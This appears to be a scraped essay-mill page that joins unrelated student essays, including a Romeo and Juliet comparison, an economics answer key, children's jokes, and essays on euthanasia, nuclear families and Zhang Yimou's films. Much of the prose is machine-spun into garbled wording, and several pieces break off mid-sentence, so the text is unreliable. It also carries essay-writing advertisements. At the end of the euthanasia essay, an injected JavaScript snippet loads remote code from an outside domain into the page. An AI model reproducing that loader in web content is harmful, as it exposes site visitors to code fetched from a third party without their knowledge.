Juliet vs Maria Essay Example

Juliet versus Maria Essay Juliet versus Maria: A Comparison Shakespeare’s Romeo and Juliet is viewed as one of the best romantic tales ever. It is the appalling story of two star crossed darlings; Romeo of the place of Montague and Juliet of the place of Capulet. The two houses have a continuous fight with the other that presently couldn't seem to be broken, until Romeo and Juliet fell frantically infatuated and were furtively hitched. Their relationship was bound when Juliet’s cousin Tybalt and Romeo and his companion Mercutio wound up in a duel where Tybalt killed Mercutio and Romeo Slayed Tybalt. So as to be together Juliet fakes her passing and anticipates Romeo to discover her. Miscommunication happens and at long last the two sweethearts wind up ending their own lives for affection. Numerous adjustments of Shakespeare’s unique story have been made yet the most famous of that is West Side Story (music by Stephen Sondheim, Leonard Berstein and book by Arthur Laurents). In West Side Story we are acquainted with two opponent posses; â€Å"the jets†( who are Caucasian) and ‘the Sharks† (who are settler Peurto Ricans). The two packs are vieing for force and control of the lanes. Tony who is a resigned Jet succumbs to Maria who is attached to â€Å"the Sharks†. Their adoration is prompt and would be dismissed by the entirety of society in the event that anybody discovered, so they keep it covered up. The two groups choose to have on conclusive thunder to decide the unrivaled pack, anyway in the battle the two heads end passing on. Tony murdered â€Å"the Sharks† pioneer and is compelled to escape town, ideally with Maria next to him. We will compose a custom exposition test on Juliet versus Maria explicitly for you for just $16.38 $13.9/page Request now We will compose a custom article test on Juliet versus Maria explicitly for you FOR ONLY $16.38 $13.9/page Recruit Writer We will compose a custom article test on Juliet versus Maria explicitly for you FOR ONLY $16.38 $13.9/page Recruit Writer Before everything can work out Tony hears that Maria has been slaughtered (which isn't accurate) so he decides to be executed himself. The play closes with Tony getting shot and kicking the bucket in Maria’s arms. Both Romeo and Juilet and West Side Story share a ton for all intents and purpose just as numerous distinctions. Despite the fact that Maria and Juliet mirror each other in age and circumstance, there are numerous distinctions that give them special qualification. West Side Story varies from Romeo and Juliet in close to home portrayal, relationship interpretation and scene succession. In spite of the fact that Maria is an immediate version of Juliet there are really numerous contrasts between the two young ladies, for instance the name change to Maria Nunez with no association with Juliet or Capulet. All things considered an intriguing distinction that I discovered was the significance of names in the two plays: in Romeo and Juliet, when Juliet finds that Romeo is a Montague she starts to worry about his family name and how she wish she didn't realize he was a Montague. Act II, scene II, Juliet thinks about the significance of a name â€Å"What’s in a name? That which we call a rose by some other name would smell as sweet; So Romeo would ,were he not Romeo call’d. † However in West Side Story Maria really stops Tony and approaches him what his name depend on in Act I, scene V, â€Å"Tony! [He stops. A respite. ] What does Tony represent?.. Te adoro, Anton. † In this scene, Maria utilizes Tony’s complete name to carry her closer to him by knowing his actual self instead of Juliet who perceives that Romeo’s complete name will destroy them. Juliet was a young lady from a rich group of high status that was quite regarded among their town. Truth be told, both Juliet and Romeo originated from high status families with numerous possibilities. Maria is a Puerto Rican new to America, her family endeavors to help themselves yet they despite everything live in messy condos on an inappropriate part of town. West Side Story is set in Manhattan during the 1950’s when racial generalizations and separation were as yet predominant, in this manner the entirety of the Puerto Rican people group was looked downward on including Maria. In spite of the fact that Maria and Juliet appear to be fundamentally the same as a rule they vary in their philosophical/moral perspectives. Maria is more hopeful and reckless than Juliet is on the grounds that Maria challenges her brother’s endeavored pre-wedding assurance to Chino and dreams of the existence her and Tony could have together. Though Juliet is loyal and ready to carry on with her existence with Paras as indicated by her folks, until she meets Romeo and he acquaints her with affection and the chance of another life. The character’s connections between the two plays are radically extraordinary. So as to adjust the story for present day times (I. e. 1950’s) numerous progressions were made to West Side Story. One of the most vital connections in Romeo and Juliet was among Juliet and her medical attendant. Juliet’s nurture helped Juliet, regardless of her own emotions, to meet with Romeo and possibly have the existence she generally needed. In West Side Story, this nurturing bond is really shared among Maria and her brother’s sweetheart Anita, who regardless of her contempt of Tony offered to give Maria’s message to Doc for them to flee. Notwithstanding, un like Juliet’s nurture who effectively conveys the message to Romeo for him to meet Juliet, Anita is addressed by the planes and rather ells them all that Maria was shot, double-crossing that nearby/protective bond. One of the most observable contrasts is seeing someone has to do with the guardians. In Romeo and Juliet, Juliet’s guardians are so associated with her life by masterminding her marriage, mentoring her on the most proficient method to charm Paras and as most guardians asserting that they rea lize what is best for her. However in West Side Story the guardians of all kids are never observed and scarcely referenced, departing Maria to settle on her own choices and bid to her sibling Bernardo and Anita. Bernardo plays leader of the â€Å"sharks† pack, yet additionally the over defensive older sibling who will persevere relentlessly to secure his sister who represents their way of life and convention one might say. So when he finds Tony and Maria moving he is right away irritated and twisted on retribution. In Romeo and Juliet, it is Juliet’s cousin Tybalt who is retribution driven and set on murdering Romeo, however Tybalt’s fierceness is ascended from pride and hatred rather than a defensive inclination. Shakespeare’s great love story of Romeo and Juliet has been mourned for its sad components. The way that destiny could be bound and the possibility that Romeo and Juliet’s genuine romance could just exist once both had passed on for their affection. At the point when you take a gander at the two plays the request for melodies and scenes are generously related, except for a tune or two included West Side Story to help feed the topic of preference and guarantee of a superior life in America. By and large none of the tunes adjust the account of story for my character. All melodies that are performed are straightforwardly connected to key purposes of the great story line which it was based off. Anyway in West Side Story, there is one vital scene that is the specific inverse of what occurs in Romeo and Juliet however it was not catalyzed by any tunes, the story itself was recently composed that way. In the famous demise scene in Romeo and Juliet; Romeo, accepting that Juliet is dead goes into her family burial chamber to bite the dust with her. There he meets Paras and the two squabble and it closes with Romeo murdering Paras. At the point when Romeo stumbles upon Juliet he is so blasted with sadness that he says his last goodbye and beverages toxic substance to take his life and rejoin him with his Juliet. Unexpectedly, Juliet rises and shines longing for her Romeo just to discover him dead. Juliet is so upset at seeing this that can consider just a single arrangement; the main way they can be together is by both kicking the bucket for one another. Juliet that there is still some toxic substance on Romeo’s lips so she kisses him to find that there isn't sufficient to execute her sufficiently quick. In this way she assumes control over issues, by taking up Romeo’s knife and running herself through with it. At long last when the two families have understood their lost, they end their fight. On account of Tony and Maria; Tony is persuade that Maria has been slaughtered by her proposed spouse Chino. Unexpectedly, rather than Tony stumbling over and murdering Chino, Tony is filled by depression and goes through the lanes asking for Chino to execute him. Tony has lost all desire for death and life when he sees Maria coming towards him . Befuddled and elated Tony runs for her with great affection when without notice a shot is discharged and Tony falls into M

Promotional Exam Econs Essay Example

Limited time Exam Econs Essay Example Limited time Exam Econs Essay Limited time Exam Econs Essay Article Topic: Independence ST ANDREW’S JUNIOR COLLEGE H1 ECONOMICS (8819) JC1 Promotional Examinations Revision Package 2011 Contents Section A: Case Studies 1. 2007 TPJC Prelims H1 Paper CSQ1: China’s Water Woes 2. 2007 GCE A-Level Paper H1 CSQ1: International Tourism (canvassed in Lecture) 3. 2008 CJC Prelims H1 Paper CSQ1: The Illegal Drug Market 4. 2009 RVHS Year 5 End of Year Exams Paper CSQ1: Challenges of the Agricultural Sector Section B: Essays 1. 2006 SAJC H1 Final Exams: Application of Demand and Supply †Price Control 2. 2008 SRJC H1 Prelims: Market Failure . 2008 A Levels H2 Essay: Elasticity of DD and SS 4. 2009 PJC H1 Prelims: Theory of DD and SS, Price Elasticity of DD and SS and Market Failure 5. 2009 HCI H1 Prelims: Market Failure 6. 2009 YJC H1 Prelims: How the Macroeconomy Works †Key Economic Indicators and National Income Accounting Section A: Case Studies Answers to the Case Studies Case Study 1: Answers to 2007 TPJC Prelims H1 Paper CSQ1 (a)(i) Compare the level of the inclusion of urban water flexibly with that of rustic water gracefully in China from 1990 to 2015. [2] Coverage of urban water gracefully is required to fall marginally from 100% in 1990 to the anticipated 98% in 2015 [1] while inclusion of rustic water flexibly is relied upon to rise steeply from 59% in 1990 to 85% in 2015. [1] (a)(ii) Is water an open decent? Legitimize. [2] Excludability [1] For an asset, for example, water from waterway, stream or underground water, it is non-excludable. It is excessively expensive and practically difficult to limit the advantages to the individuals who pay for them (this is just on account of water which stumbles into zones like the Mekong River which cuts across nations/Yangtze River †cuts across various states). It is accessible, for nothing out of pocket to any individual who needs to utilize them. Or on the other hand However, water in urban communities, gave by the state region, is excludable. Family units or plants can be kept from utilizing this water by cutting flexibly. Contention [1] Water is rivalrous. The utilization of water diminishes the sum accessible for the following individual e. g. wells evaporate if an excessive number of family units burrow wells and draw down the measure of underground water accessible. Waterways evaporate if such a large number of ranchers redirect water for water system. Or on the other hand Clean drinking water that has been appropriately treated and refined is limited. One person’s utilization of the water decreases different people’s utilization of it. Consequently, water is certainly not an open decent. (b)(i) With the guide of a graph, clarify why â€Å"prices of water in China stayed distinctly about 33% of the world average†. (Concentrate 2, passage 2) [2] Low costs as an indication of value roof â€Å"Prices of water in China stayed uniquely about 33% of the world average† †idea of value roof. Value roof is the most extreme value set by the administration. Concerning Fig. 1, the world normal market cost is Pw where the interest bend crosses with the gracefully bend. China sets its cost underneath the world normal market cost at Pc. [1] Diagram [1] [pic] Figure 1: Price roof (Pc) set by China Government to top Price of Water Alternative answer 1. Appropriations (b)(ii) Who gains and loses because of such an arrangement referenced in (b)(i)? [4] [pic] (b)(iii) With the guide of a chart, clarify and represent how water contamination in China brings about market disappointment. [6] Students should draw the graph for negative externality (water contamination) and clarify how the water contamination makes the market fall flat. pic] Figure 2: Water contamination as a negative externality Water contamination is a type of negative externalities. Externalities are characterized as overflow impacts to the outsider emerging from creation or utilization exercises. Within the sight of negative externalities, minor social cost (MSC) will be more prominent than negligible private expense (MPC). This is on the grounds that the minor social cost considers the min imal outside expense. MSC=MPC +MEC (MEC) to the outsider, for this situation, destroyed harvests of ranchers, medical issues and so on. From Fig 2, MSC is above MPC. Private harmony happens at Qp where MPB = MPC. The socially ideal level, notwithstanding, happens at Q*where MSB = MSC. There is an overproduction of the great. At the private yield Qp, MSCMSB and society will be in an ideal situation on the off chance that one less unit is delivered. For all the extra units delivered in overabundance of Q*, the government assistance misfortune is spoken to by triangle abc. (c)(i) If you were the Minister for Environment, clarify whether the water business ought to be privatized. (shown in the correction bundle to disregard this qn. ) [6] c)(ii) Evaluate the viability of the ebb and flow estimates taken by the legislature as referenced in Extract 1 just as one other measure to decrease water contamination in China. [8] Students to have the option to remark on the favorable circumstances and impediments of the present estimates taken (I. e. forcing water quality guidelines, compelling vigorously contaminating ventures to close, grow the utilization of elective sources, for example, water and reused sewage) and to assess. Understudies to have the option to clarify one other measure and to assess the adequacy of those measures (for instance, forcing an expense or contamination licenses). Forcing water quality gauges Advantages: Ensure that the momentum water gracefully accessible will be of a quality norm and henceforth less outer expenses emerging from the utilization of unclean water. Detriments: Difficulty of checking in a major nation like China particularly in provincial territories. Since water is given by nearby governments, they will bring about the expense in guaranteeing the nature of the water. Compelling intensely dirtying businesses to close Advantages: Less water contamination and thus less cash squandered in tidying up water. Likewise, there would be a ll the more perfect water accessible for utilization. Burdens: The enterprises may migrate to another nation, e. g. India. This influences the financial development of the nation particularly since China is opening up its market. Additionally, the conclusion of the enterprises may prompt laying off of neighborhood laborers and this may bring about agitation. Grow the utilization of elective sources, for example, water and reused sewage Advantages: Reduce reliance on the first wellsprings of freshwater and subsequently the expense of getting more water from these streams e. g. working of waterways. Hindrances: Takes opportunity to arrive into impact. May require significant expense in transforming these elective sources into new water for utilization. Duty on contamination An advertisement valorem or a particular assessment can be forced on firms who are associated with the contamination. The assessment will add on to the expenses of creation and consequently causing the flexibly bend (MPC) to move up. The duty is successful in lessening water contamination on the off chance that it completely disguises the minor outside expense. I. e. the measure of duty forced is actually equivalent to the measure of MEC. Assessments forced should hence be adaptable so they can be fluctuated to reflect changes in MEC. In any case, it is hard to quantify the peripheral outer expense and subsequently the measure of assessment to be forced. Likewise, the adequacy of the expense relies upon the value flexibility of gracefully. CSQ 2 †ans canvassed in Lect Case Study 3: Answers to 2008 CJC Prelims H1 Paper CSQ1 an) I) Compare the pattern in ret ail cocaine costs in Europe and the USA from 1990 to 2005. Any of the 2 underneath. [2] Both are falling. Europe †fall by 50. 6%; USA †fall by 62. 3%; Prices in the USA falling at a quicker rate Prices began to increase after 2002. Retail costs in the USA reliably higher than in Europe I) regarding the information and utilizing monetary investigation, represent the pattern in retail cocaine costs saw previously. [4] Using request gracefully investigation, clarify why there is a falling pattern (1990-2002) From Extract 3, plans to diminish both interest flexibly; Demand falls at a quicker rate than the fall in flexibly. Delineate with an outline Also acknowledge answers that clarify why costs are ascending from 2002-2005 Demand factor: From Table 2, request fell (2002-2005) Supply factor: From Figure 1, flexibly fell Supply fell relatively more than the fall popular ( value rise ii) Account for the distinction in discount costs of cocaine among Europe and the USA. [2] Possi ble reasons Higher expense of creation; conceivably because of higher vehicle costs Higher interest in Europe Any all around clarified request or gracefully factor will be granted 2 imprints. b) I) Explain the market disappointment made by sedate maltreatment. [4] Drug is a bad mark great; products that create negative externalities that are regarded unfortunate by the political procedure. Clarify negative externalities with the guide of a graph. Clarify how MSC MSB brings about market disappointment. Clarification of how thinking little of private cost brings about a negative mark great ii) Evaluate the utilization of a prohibition on unlawful medications to address this market disappointment. [6] Explain how a boycott chips away at the market for drugs. With the guide of a chart (graph isn't vital as long as you can clarify it unmistakably utilizing legitimate monetary examination), show how a boycott is proficient in adjusting the market disappointment. Assess the utilization of the boycott. c) regarding the information, talk about the adequacy of â€Å"Plan Columbia† and propose elective estimates the legislature could receive to realize a progressively proficient allotment of assets. 12] Effectiveness: To a specific degree, it was successful as it decreased interest from 2002-2005 from 33. 9 million to 33. 7 million clients, as observed from Table 2. Be that as it may, request began to ascend in 2006 to 35. 3 million. Adequacy in controling requests is in this way unce rtain as information gave halted at 2006. With respect to controlling flexibly, as observed from Figure 1, gracefully tumbled from 2000 onwards, which could be an indication of the arrangement working. Be that as it may, the flexibly began to increment again in 2006, expanding by 16% in 2007. Additionally, the viability was constrained as regardless of whether the authori

Jokes for kids

Jokes for kids Teacher: Last night I had a dream that I ate a huge marshmallow.Student: And what happened next?Teacher: I woke up in the morning and found my pillow gone!!! A girl came home from school. Her mother asked, Dear how was your first day at school?And the girl replied, First day? You mean I have to go back there tomorrow???Q: What happened to the dog that swallowed a firefly? A: It barked with de-light! Q: Why do birds fly south in the winter? A: Because its too far to walk!??Q: What must you do before you get board a bus? A: Get on it!Q: What is the longest word in the dictionary? A: The word smiles because there is a mile between each s.??Q: Who earns a living driving their customers away? A: A taxi driver.Q: What is black and white, white and black, black and white? A: A zebra caught in a revolving door!!??Q: Why did the squirrel cross the road? A: To show his girlfriend he had guts.Q: What did the pig say when the man grabbed him by the tail? A: Thats the end of me??Q. What happens when you throw a black cat in the red sea? A. It gets wet.Q: Why did the banana go to the hospital? A: Because it was not peeling well!??Q. Why do fish swim in salt water? A. Because pepper makes them sneeze.Q: What did the big chimney say to the little chimney? A. Youre too young to smoke??Q: Why was six afraid of seven? A: Because seven ate nineQ: Why do dogs wag their tails? A: Because nobody else will do it for them.??Q. Why did the cat cross the road? A. To get away from the dog!Q. Why did the dog cross the road? A. To chase the cat on the other side!!!??Q: What do you call a sheep with no legs? A: A cloudQ: What do you get when you throw all the books in the world in the ocean? A: A title wave?? Q: Why dont vampires like mosquitoes? A: Too much competition!Q: What is the difference between a teacher and a train? A: The teacher says Spit out your gum and the train says Choo! Choo!Riddles for Kids:1. I dont have lungs or a chest but I need air; I am not alive, but I grow; I dont have a mouth and Im allergic to water. What am I ?Answer: Fire??2. I am found in the sea and on land but I do not walk or swim. I travel by foot but I am toeless. Im never far from home. What am I?Answer: A snail??3. I run but I never walk. I have a mouth but I never talk. I have a bed but I never lie. What am I ?Answer: A river??4. What walks on 4 legs in the morning, 2 legs in the afternoon, and 3 legs in the evening?Answer: A man (crawls as a baby, then walks on 2 feet, then uses a cane (3 legs) as an old man.)??5. What thing that God made sleeps with its head down?Answer: A bat??6. What is greater than God, more evil than the devil, poor people have it, rich people need it, and if you eat it you will die?Answer: Nothing??7. What is as big as an elephant but doesnt weigh anything?Answer: An elephants shadow??8. What goes up, but never comes down?Answer: Age??9. What did George Washington say to his men before they got in the boat?Answer: “Men, get in this boat!”??10. My uncl e has a sister but she is not my aunt. Who is she?Answer: My mother??11. What animal carries his house wherever he goes?Answer: Turtle??12. If you chop it, it heals at once.Answer: Water??13. Claps and claps, but the neighbors do not hear.Answer: Eyes

American Elm 100 Most Common North American Trees

Emily Dickinsons Tell All the Truth but Tell It Slant...

An explication of Emily Dickinson’s â€Å"Tell all the Truth but tell it slant-† brings to light the overwhelming theme of how one should tell the truth. It also illuminates the development of the extended metaphor of comparing truth to light. From the very beginning of the poem, the speaker is instructing on the best way to tell the truth. Dickinson, through a use of a specific technique of rhyming, literary elements, and different forms of figurative language, establishes the importance of not telling the truth all at once. Alliteration is a key aspect to how the reader experiences the poem; it especially gives interest toward alliteration of the letter T. This alliteration begins in the very first line â€Å"Tell all the Truth but tell it†¦show more content†¦Dickinson is by no means stating that we should keep the truth completely hidden; however, she is quickly asserting her opinion of how the truth needs to be told. In telling the truth one must slant or hold back from embellishing all of the details of that particular truth. The ensuing line, â€Å"Success in Circuit lies† (1.2), parallels the first lines’ slant with a curvature of a circuit. A circuit goes perfectly around an area eventually returning back to the same spot. Dickinson conveys that only certain details should be let out, eventually giving you the truth as a whole. Also the words chosen in this line seem have reason to be grouped together. The word â€Å"lies† (1.2) is paired within a sentence with the word â€Å"Success† (1.2), giving the connection that lies may be needed to obtain success. The poem is trying to point out that truth and lies both can become truth, if they are presented in the correct circuit. The third line, â€Å"Too bright for our infirm Delight† (1.3), uses a metaphor to compare truth to light. This metaphor is full of imagery, associating truth to something that stimulates one’s sense of sight. Somet hing that is too bright hurts the eyes, thus the metaphor conveys that telling the truth in its entirety can at times be painful. Finally, the last line of this stanza, â€Å"The Truth’s superb surprise† (1.4), personifies the truth as having the ability to give a surprise. A

The Decrease of the Nuclear Family - 746 Words

Decrease in the amount of nuclear families There are several possible reasons for the decrease in the number of nuclear families, particularly in the past forty years. This includes rising cohabitation, higher divorce rates, secularisation, rising same sex relationships, more career seekers and the rise in feminism. Firstly, a nuclear family is a family consisting of a man and woman (usually married) in a sexual relationship with one or more children. One reason for this type of family becoming less common is due to the rising number of divorces. Getting divorced has become much easier than in the past. 40% of all marriages end in divorce. There is much less stigma attached to divorce in modern society so people are less afraid to do it,†¦show more content†¦Rules such as no sex before marriage direct people onto the pathway of family and would increase the number of nuclear families. Secularisation however means people are not following rules such as these and therefore leading to a decrease in the number of nuclear families as more people did follow these rules in the past. Fourthly, over the last 40 years more same sex relationships are occurring due to change in legislation and reduce in stigma. Same sex relationships in the past were highly frowned upon and even illegal. Linking back to secularisation, stigma has decreased on the topic of homosexuality as most religions state same sex relationships are not allowed. So in the past more people agreed with and followed these rules however now people are much more accepting and open about same sex relationships. The civil partnership act of 2004 meant that gay couples could have the same rights as married couples. This lead to a large rise in the amount of same sex relationships and as this was increasing the amount of nuclear families started decreasing as a nuclear family cannot consist of two people of the same sex. Fifthly, the rise in career seeking people has risen. People who are dedicated to their work often do not have time to sustain a relationship and settle down and have a family. This means there are less first marriages today as the facts show. In England and wales 143,000 first marriages occurred in 2007. This is significantlyShow MoreRelatedSymptoms And Treatment Of Glaucoma999 Words   |  4 Pagesthrough the trabecular meshwork (filter-like tissue). An individual has an increased risk of glaucoma if they are over the age of 40, have diabetes, have eye trauma, are of a certain race and if there is a history of glaucoma in the individual s family history. Open angle glaucoma is the most common type of glaucoma and is considered to be hereditary. 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Euthanasia Essay Research Paper EuthanasiaEuthanasia Greek for free essay sample

Euthanasia Essay, Research Paper Euthanasia Euthanasia ( Greek for? easy decease? ) is the pattern of stoping a life so as to let go of an person from an incurable disease or great agony. Voluntary mercy killing involves a petition to end their life by the deceasing patient or that individual? s legal representative. Passive or negative mercy killing involves non making anything to forestall decease that is leting person to decease, active or positive mercy killing involves taking calculated action to do a decease. The growing in the pattern of mercy killing roots in portion from a false belief that life can be judged in footings of its quality and if that quality is non of a high criterion so we human existences have a right to end it. The Christians reply is that life can non be capable to quality control because God? created adult male in his image, in the image of God he created him ; male and female he created them. God blessed them. ? And as such all human existences rich, hapless, healthy, handicapped or terminally ailments have every right to populate every bit long as God wills. Since God is the writer of life merely God can find when and under what fortunes our life on this Earth is to be terminated. ? It is I who bring both decease and life? Deut: 32:39 One of the chief pushs for mercy killing today is to people who are terminally ailment. It is wildly believed that there are merely two options opens unfastened to them, either they die easy in undiminished agony or they receive mercy killing. In fact there is a in-between manner that of originative and compassionate lovingness or alleviative attention. This is the active sum attention of patients and their households by a multi-professional squad when the patient? s disease is no longer responsive to curative intervention. The Hospice motion is one of the best illustrations of this. ? From adult male in respect to his fellow adult male I will demand an accounting. ? Gen 9:5. Very frequently it is during the clip of terminal unwellness that people have clip to reflect on the manner they have lived their lives, to do damagess for the incorrect done and to fix mentally and spiritually for their ain decease. Those involved in hospice work frequently observe a mending of household relationships and a rediscovery of common love. ? You are Gods ain people that you may declare the fantastic workss of him who called you out of darkness into his fantastic light. ? Peter 2:9. Those nursing the terminally sick attest to how they themselves are helped by the really people they are nursing. Parents of disabled kids testify that they draw closer to God through sharing in the life of one who needs them absolutely. It is frequently through confronting the adversity that terminal unwellness brings and through larning to accept the aid of others that human character and adulthood develops most to the full. Death if decently managed can be the concluding phase of growing. If we lose the chance of caring for vunerable people we become less human and a batch more selfish. Voluntary mercy killing would deny us these possibilities. The Gospel of life is at the bosom of Jesus message, ? I come that they may hold life and have it copiously? John 10:10. In his Encyclical on the value and inviolability of Human Life Pope John Paul provinces, ? That every individual unfastened to truth and goodness recognizes the sacred gt ; value of human life from its really get downing until its terminal. In a particular manner trusters in Christ must support and advance this right because, ? By his Incarnation the Son of God has united himself in some manner with every homo being. ? This shows us non merely the boundless love of God who? so loved the universe that he gave his lone boy? John 3:16 but besides the value of every homo individual. The Second Vatican Council, over 30 old ages ago made a statement which is likely more relevant today than it was so: ? Whatever is opposed to life itself, such as any type of slaying, race murder, abortion or mercy killing, whatever violates the unity of the human individual? are babyhoods so. They poison human society ad they do more injury to those who pattern them than to those who endure the hurt. Furthermore they are a supreme dishonour to the Godhead. ? Throughout the bible old age is given self-respect and fear when speech production of Eleagar, ? He preferred to do a baronial determination worthy of his age, of his baronial old ages of his clambering white hair. Illness does non drive a individual to desperation and to seek decease, but makes him call out in hope, ? I kept my religion, even when I said, I am greatly afflicted? Ps 116:10. The protection of life is guaranteed in the 5th commandment, ? 1000 shall non kill? in fact the full jurisprudence of God serves to protect life. Supreme beings compact with his people is offered as a way of life. ? I have set before you this twenty-four hours, life and good, decease and immorality, if you obey the bids of your God, so you shall populate and multiply? The Catechism of the Catholic Church states that mercy killing is morally unacceptable and it is, ? slaying soberly contrary to self-respect of the human individual and to the regard due to the Godhead. ? I believe that society is quickly traveling towards accepting mercy killing. When a pattern becomes legal accepted and widely practiced people no longer hold strong feelings about it. This was shown at the Nuremberg Trials, Karl Brandt the trefoil who had coordinated the Nazi mercy killing plan said, and? I have a absolutely clear scruples about the portion I played in the matter. When I said yes to euthanasia I did so with my greatest conviction. ? He believed he was inexperienced person. If euthanasia is accepted and legalized I believe it will take to nonvoluntary mercy killing. Harmonizing to the Remmelink study commissioned by the Dutch Ministry of Justice there were over three 1000s deceases from mercy killing in the Nederlands in 1990. More than one 1000 of those deceases were non voluntary. The Hippocratic curse which all physicians must take provinces: ? I will give no lifelessly medical specialty to anyone if asked, nor suggest such counsel. ? The international codification of medical moralss declares. ? A physician must ever bear in mind the duty of continuing human life from the clip of construct until death. ? We must wake up and take action or mercy killing will go every bit common as abortion. The concluding and lone jurisprudence we should follow is the jurisprudence of God, our Godhead. ? it is I who bring both life and decease? Deut 32:39. Bibliography Faith Alive by Rowanne Pasco and John Redford. Catechism of the Catholic Church. Internet. World Book Encyclopedia. The Bible. Pope John Paul II? s Encyclical- Evangelium Vitae ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Eulogy Debut Albums and Greatest Men free essay sample

Eulogy Frank the greatest men who ever lived. As we gather at this sad moment to celebrate the lost of our beloved brother, friend and for some a hero. To me he was both a brother and a hero I look up to. Someone who I believe taught me to be a man am today. Without him Im not sure what path of life I wouldve taken. The words still run through my mind even now. Brow be who you want to be, and Just do what makes you happy. Dont worry about what anyone else thinks Frank used to always say that to me. I believe he said those words to himself all the time too. And thats what made choose the Army. Mum wasnt so sure about him going to the army. But I have to say Frank chose what made him happy and we were proud of him. We will write a custom essay sample on Eulogy: Debut Albums and Greatest Men or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page Have to say for the last 3 days It been tough for our family. Not a second goes by without talking of him. HIS warm smile he always had even when I annoyed him. The wonderful sense of humor, we won ;t have those times when were traveling and you Just make us all laugh. The wrestling and fighting we used to do on the back lawn I surely miss all those moments. The letter I received last week, saying how you were going to be coming home for you birthday in a 2 weeks.It put a smile on all our faces. We were looking forward to seeing you home and celebrating you 22nd birthday. But I guess God had another plan for you. Our family was a family of love. I hope that I was a brother who always showed you love. Right now I look back. And I start to wish if I had spent more time with you. Just wish that last camp we went lasted forever. The first night you kept me up all night, telling me you amazing stories in Frank my beloved. I wish I had said goodbye. But I guess God saw that you have a good fight and succeeded. And it was time to rest.

The Comparison and Analysis of Sequences

The Comparison and Analysis of Sequences The two sequences taken from Zhang Yimou’s movies Red Sorghum (1987) and The Road Home (1999) can be discussed as the illustrations of the director’s approach to using the theme of exchanging glances in order to emphasize the definite relations between the characters. Thus, to demonstrate the relations between the woman and the workers and between the young man and the young woman falling in love, Zhang Yimou uses similar and different techniques. The main feature which connects both the sequences is the theme of reflecting feelings through exchanging glances, but to pay attention to the sequences’ other similarities and differences, it is necessary to focus on such formal elements as the mise-en-scene, shot number, image size, camera movement, editing, and sound. The nature of relationships between the characters and the style of mise-en-scenes are rather different, but the fact of the relations’ existence is accentuated with references to definite techni ques and the theme of exchanging glances.Advertising We will write a custom essay sample on The Comparison and Analysis of Sequences specifically for you for only $16.05 $11/page Learn More Zhang Yimou uses the same technique in his two movies because of its effectiveness to provide the definite message to the audience. The helpfulness of manipulating the theme of the glance exchange depends on the successful mise-en-scenes. A mise-en-scene is a complex picture which includes composition, sets, actors, and lighting in their combination to present the definite author’s idea. The mise-en-scenes in Red Sorghum and The Road Home are similar in relation to some specific features. Thus, the mise-en-scenes in two sequences are based on the characters’ looking at each other when one character stays rather motionless, and the other character goes forth turning around to look at the other person several times. Moreover, the faces of the main characters are in the focus, and they are often centered, depicting from a short distance to emphasize the glance. There are presentations of the women who come forth turning back to the audience in Red Sorghum and The Road Home as rather long shots before the final shots of the sequences. The composition of the mise-en-scenes is also similar because there are groups of people presented in the scene, but they are not in the focus in comparison to the main characters. The women in both sequences are presented alone when the male characters belong to the certain group of people depicted in the scene. However, mise-en-scenes are different in using the lighting and colors. Thus, the sequence from Red Sorghum is started in red in black colors to reflect the tension of the characters’ feelings in the mise-en-scene when the sequence from The Road Home is in vivid and sunny colors to emphasize the positive feelings of the characters. The atmosphere of the scene and the feelings of the character s are also represented with the help of the shot number. The negative tension of the scene from Red Sorghum is presented through ten shots which are different in their length and image size. Long shots help feel the characters’ tension and worry. Shots in The Road Home are also different in length, but this difference is intentional and the quick shift of the shots helps reflect the romantic anxiety of the characters. Thus, the shot number of the sequence from The Road Home is about fifteen shots.Advertising Looking for essay on art and design? Let's see if we can help you! Get your first paper with 15% OFF Learn More The shot number in two sequences is different, but the approach to the image size is similar. The audience concentrates on the characters’ exchange of glances and the nature of this exchange with references to presenting the characters’ close-ups. Close-ups in both sequences are short in length, but they are vivid. The audie nce has the opportunity to guess about the characters’ feelings with the help of interpreting the emotions on their faces. Close-ups in The Road Home present the smiling faces of the characters who have interest to each other when close-ups in Red Sorghum present the tense face of the man and the inducing face of the woman (â€Å"The Road Home†; â€Å"Red Sorghum†). These close-ups are effective to observe the difference in relations of the two pairs discussed. It is also possible to focus on the speed of the characters’ movements in shots. The number of shots in The Road Home sequence is correlated with the tempo of the characters’ movements, and the number of shots in the sequence from Red Sorghum is smaller as well as the speed of the characters’ motions is slower. Furthermore, there are some differences in using short and long shots. Thus, long shots taken from a large distance are characteristic for the sequence in The Road Home. As it was stated earlier, the director draws the audience’s attention to the women’s turning round while they are going forth to exchange the glances one more time. Thus, the camera follows the women’s movement in both sequences. However, the variation of the camera movement is more characteristic for the sequence from The Road Home when the camera does not only horizontal movements to follow the character but also vertical movements to emphasize the scene of giving the basket. Therefore, the particular features of editing in both sequences depend on the shot number and their length. The director uses the combination of long shots in Red Sorghum where editing is used to determine one man among the group of the other men and accentuate the woman’s intention to exchange the glances with this man. Editing in The Road Home is based on the combination of diverse short and long shots as well as shots presented from distance and close-ups in the complex picture. It i s also important to pay attention to the specifics of editing when main characters from the sequence in The Road Home exchange glances while passing near each other. The shift of shots is quick and it helps to see the picture from both perspectives. The combination of the sound and image is one more effective technique to represent the characters’ feelings and the nature of relations between them. The sounds associated with the sequences in Red Sorghum and The Road Home are extremely different.Advertising We will write a custom essay sample on The Comparison and Analysis of Sequences specifically for you for only $16.05 $11/page Learn More The sequence in Red Sorghum is accompanied by the natural sounds and noises reflecting the surroundings of the mise-en-scene, and rare shouts of the man are heard to stress on the pressure and tension represented in the scene. The mise-en-scene from The Road Home is accompanied by light sounds of the romantic music to reflect the mood of the characters. Thus, the sound is connected with the images according to the scene’s atmosphere and main message. The sequences from Red Sorghum and The Road Home represent the action of exchanging glances between the main characters of the movies. However, the nature of relations between these persons is different as well as the techniques used by the director to stress on this difference. Red Sorghum. 1987. Video file. 18 March 2013. https://www.imdb.com/title/tt0093206/. The Road Home. 1999. Video file. 18 March 2013. https://www.imdb.com/title/tt0235060/.

International Commodities Index Article Example | Topics and Well Written Essays - 500 words

